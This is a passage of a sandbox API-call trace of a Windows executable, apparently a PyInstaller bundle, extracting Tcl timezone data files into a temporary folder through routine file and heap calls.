[0043.016] GetLastError () returned 0x0 [0043.016] SetLastError (dwErrCode=0x0) [0043.016] GetLastError () returned 0x0 [0043.016] SetLastError (dwErrCode=0x0) [0043.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.017] GetFileType (hFile=0x10c) returned 0x1 [0043.017] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.017] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.017] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.017] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.017] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.017] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.017] CloseHandle (hObject=0x10c) returned 1 [0043.017] GetLastError () returned 0x0 [0043.017] SetLastError (dwErrCode=0x0) [0043.017] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.017] GetFileType (hFile=0x10c) returned 0x1 [0043.017] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.017] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.017] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.017] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.017] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.018] CloseHandle (hObject=0x10c) returned 1 [0043.018] GetLastError () returned 0x0 [0043.018] SetLastError (dwErrCode=0x0) [0043.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Libya") returned 62 [0043.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Libya" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\libya"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.018] GetLastError () returned 0x2 [0043.018] SetLastError (dwErrCode=0x2) [0043.018] GetLastError () returned 0x2 [0043.018] SetLastError (dwErrCode=0x2) [0043.018] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Libya", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Libya", lpFilePart=0x0) returned 0x3d [0043.018] GetLastError () returned 0x2 [0043.018] SetLastError (dwErrCode=0x2) [0043.018] GetLastError () returned 0x2 [0043.018] SetLastError (dwErrCode=0x2) [0043.018] GetLastError () returned 0x2 [0043.018] SetLastError (dwErrCode=0x2) [0043.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Libya") returned 62 [0043.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Libya" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\libya"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.019] GetFileType (hFile=0x10c) returned 0x1 [0043.019] htonl (hostlong=0xab000000) returned 0xab [0043.019] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.019] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0043.020] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.020] CloseHandle (hObject=0x10c) returned 1 [0043.020] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.020] htonl (hostlong=0x30000000) returned 0x30 [0043.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.020] GetFileType (hFile=0x10c) returned 0x1 [0043.020] htonl (hostlong=0xb0de5c00) returned 0x5cdeb0 [0043.020] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618eb0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.020] htonl (hostlong=0x1060000) returned 0x601 [0043.020] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x601) returned 0x550600 [0043.020] htonl (hostlong=0x1060000) returned 0x601 [0043.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.021] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.021] htonl (hostlong=0x2f1d0000) returned 0x1d2f [0043.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d2f) returned 0x561090 [0043.021] htonl (hostlong=0x1060000) returned 0x601 [0043.021] htonl (hostlong=0x2f1d0000) returned 0x1d2f [0043.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562dc8 [0043.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562dc8 | out: hHeap=0x530000) returned 1 [0043.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.021] CloseHandle (hObject=0x10c) returned 1 [0043.021] GetLastError () returned 0x0 [0043.021] SetLastError (dwErrCode=0x0) [0043.021] GetLastError () returned 0x0 [0043.021] SetLastError (dwErrCode=0x0) [0043.021] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.021] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.021] GetFileType (hFile=0x10c) returned 0x1 [0043.021] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.021] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.021] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.021] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.021] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.021] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.022] CloseHandle (hObject=0x10c) returned 1 [0043.022] GetLastError () returned 0x0 [0043.022] SetLastError (dwErrCode=0x0) [0043.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.022] GetFileType (hFile=0x10c) returned 0x1 [0043.022] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.022] CloseHandle (hObject=0x10c) returned 1 [0043.022] GetLastError () returned 0x0 [0043.022] SetLastError (dwErrCode=0x0) [0043.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MET") returned 60 [0043.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\met"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.022] GetLastError () returned 0x2 [0043.022] SetLastError (dwErrCode=0x2) [0043.022] GetLastError () returned 0x2 [0043.023] SetLastError (dwErrCode=0x2) [0043.023] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MET", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MET", lpFilePart=0x0) returned 0x3b [0043.023] GetLastError () returned 0x2 [0043.023] SetLastError (dwErrCode=0x2) [0043.023] GetLastError () returned 0x2 [0043.023] SetLastError (dwErrCode=0x2) [0043.023] GetLastError () returned 0x2 [0043.023] SetLastError (dwErrCode=0x2) [0043.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MET") returned 60 [0043.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\met"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.023] GetFileType (hFile=0x10c) returned 0x1 [0043.023] htonl (hostlong=0x2f1d0000) returned 0x1d2f [0043.023] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.024] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd2f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd2f, lpOverlapped=0x0) returned 1 [0043.024] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.024] CloseHandle (hObject=0x10c) returned 1 [0043.024] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.024] htonl (hostlong=0x30000000) returned 0x30 [0043.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.024] GetFileType (hFile=0x10c) returned 0x1 [0043.025] htonl (hostlong=0xb1e45c00) returned 0x5ce4b1 [0043.025] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6194b1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.025] htonl (hostlong=0x6e000000) returned 0x6e [0043.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6e) returned 0x55cfe0 [0043.025] htonl (hostlong=0x6e000000) returned 0x6e [0043.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.025] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.025] htonl (hostlong=0x6a000000) returned 0x6a [0043.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6a) returned 0x550600 [0043.025] htonl (hostlong=0x6e000000) returned 0x6e [0043.025] htonl (hostlong=0x6a000000) returned 0x6a [0043.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.025] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.025] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.025] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.025] CloseHandle (hObject=0x10c) returned 1 [0043.025] GetLastError () returned 0x0 [0043.025] SetLastError (dwErrCode=0x0) [0043.025] GetLastError () returned 0x0 [0043.025] SetLastError (dwErrCode=0x0) [0043.025] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.025] GetFileType (hFile=0x10c) returned 0x1 [0043.025] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.025] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.025] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.026] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.026] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.026] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.026] CloseHandle (hObject=0x10c) returned 1 [0043.026] GetLastError () returned 0x0 [0043.026] SetLastError (dwErrCode=0x0) [0043.026] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.026] GetFileType (hFile=0x10c) returned 0x1 [0043.026] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.026] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.026] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.026] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.026] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.026] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.026] CloseHandle (hObject=0x10c) returned 1 [0043.026] GetLastError () returned 0x0 [0043.026] SetLastError (dwErrCode=0x0) [0043.026] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST") returned 60 [0043.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mst"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.027] GetLastError () returned 0x2 [0043.027] SetLastError (dwErrCode=0x2) [0043.027] GetLastError () returned 0x2 [0043.027] SetLastError (dwErrCode=0x2) [0043.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST", lpFilePart=0x0) returned 0x3b [0043.027] GetLastError () returned 0x2 [0043.027] SetLastError (dwErrCode=0x2) [0043.027] GetLastError () returned 